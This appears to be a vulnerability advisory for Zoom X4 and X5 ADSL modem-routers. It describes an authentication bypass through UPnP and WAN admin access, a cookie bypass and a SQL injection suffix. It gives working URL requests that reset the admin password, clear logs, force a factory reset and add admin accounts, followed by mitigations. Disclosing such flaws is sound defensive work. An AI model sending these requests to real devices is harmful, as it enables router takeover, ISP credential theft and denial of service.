95 lines
No EOL
3.7 KiB
Text
95 lines
No EOL
3.7 KiB
Text
Vulnerable Products -
|
|
|
|
Zoom X4 ADSL Modem and Router running Nucleus/4.3
|
|
UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions
|
|
Zoom X5 ADSL Modem and Router running Nucleus/4.3
|
|
UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions
|
|
|
|
Note: A similar vulnerability was reported several years ago on the
|
|
Zoom X3 ADSL Modem using a SOAP API call. Many of these
|
|
vulnerabilities affect X3 in the same manner, without needing to use a
|
|
SOAP API.
|
|
|
|
===================================
|
|
|
|
Vulnerability-
|
|
When UPnP services and WAN http administrative access are enabled,
|
|
authorization and credential challenges can be bypassed by directly
|
|
accessing root privileged abilities via a web browser URL.
|
|
|
|
All aspects of the modem/router can be changed, altered and controlled
|
|
by an attacker, including gaining access to and changing the PPPoe/PPP
|
|
ISP credentials.
|
|
|
|
====================================
|
|
|
|
Timeline with Vendor-
|
|
Have had no response from Zoom Telephonics since first reporting the
|
|
problem on June 28. Subsequent emails have been sent with no response.
|
|
|
|
Root Cause Observed-
|
|
-As in most IGD UPnP routers and modems, where root vulnerabilities
|
|
are prevalent, these modems contain the same privileged tunnel between
|
|
either side of the router to be traversed without authentication. The
|
|
code and layout of the device plays a large role as well.
|
|
|
|
Code/Script Vulnerabilities-
|
|
|
|
-Form tags and actions ids usually hidden are easily seen from the
|
|
html source, no sanitization of client side input is occurring and
|
|
root overrides such as 'Zadv=1' can be invoked by any user.
|
|
|
|
-No cookie authentication is done once several of the first bypass is
|
|
executed, allowing for "Cookie: sessionId=invalid" to pass admin commands.
|
|
|
|
-The SQL injection UNION SELECT 1,2,3,4,5,6,7-- added to the end of
|
|
any URL page calling a table value, such as /MainPage?id=25, will
|
|
bring up the system status page, with each interface visible and
|
|
selectable.
|
|
|
|
Patches or Fixes-
|
|
At this time, there are no known patches or fixes.
|
|
|
|
Vulnerability proofs and examples-
|
|
All administrative items can be accessed through these two URLs
|
|
|
|
--Menu Banner
|
|
http://<IP>/hag/pages/toc.htm
|
|
|
|
-Advanced Options Menu
|
|
http://<IP>/hag/pages/toolbox.htm
|
|
|
|
Example commands that can be executed remotely through a web browser
|
|
URL, or a modified HTTP GET/POST requests-
|
|
|
|
-Change Password for admin Account
|
|
|
|
On Firmware 2.5 or lower
|
|
http://<IP>/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
|
|
|
|
On Firmware 3.0-
|
|
http://<IP>/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
|
|
|
|
-Clear Logs
|
|
http://<IP>/Action?id=76&cmdClear+Log=Clear+Log
|
|
|
|
-Remote Reboot to Default Factory Settings-
|
|
Warning - For all intents and purposes, this action will almost always
|
|
result in a long term Denial of Service attack.
|
|
http://<IP>/Action?reboot_loc=1&id=5&cmdReboot=Reboot
|
|
|
|
-Create New Admin or Intermediate Account-
|
|
On Firmware 2.5 or lower
|
|
http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes
|
|
|
|
On Firmware 3.0-
|
|
http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes
|
|
|
|
Mitigation and Workarounds-
|
|
Adv.Options --> UPnP --> --> Disable UPnP --> Write Settings to Flash --> Reboot
|
|
Adv.Options --> Firewall Configuration --> Enable 'Attack Protection'
|
|
'DOS Proctection''Black List'--> Write Settings to Flash
|
|
Adv.Options --> Management Control --> Disable WAN Management from all
|
|
fields --> Write Settings to Flash
|
|
Always change the default Username and Password, though this will
|
|
nothelp mitigate this vulnerability |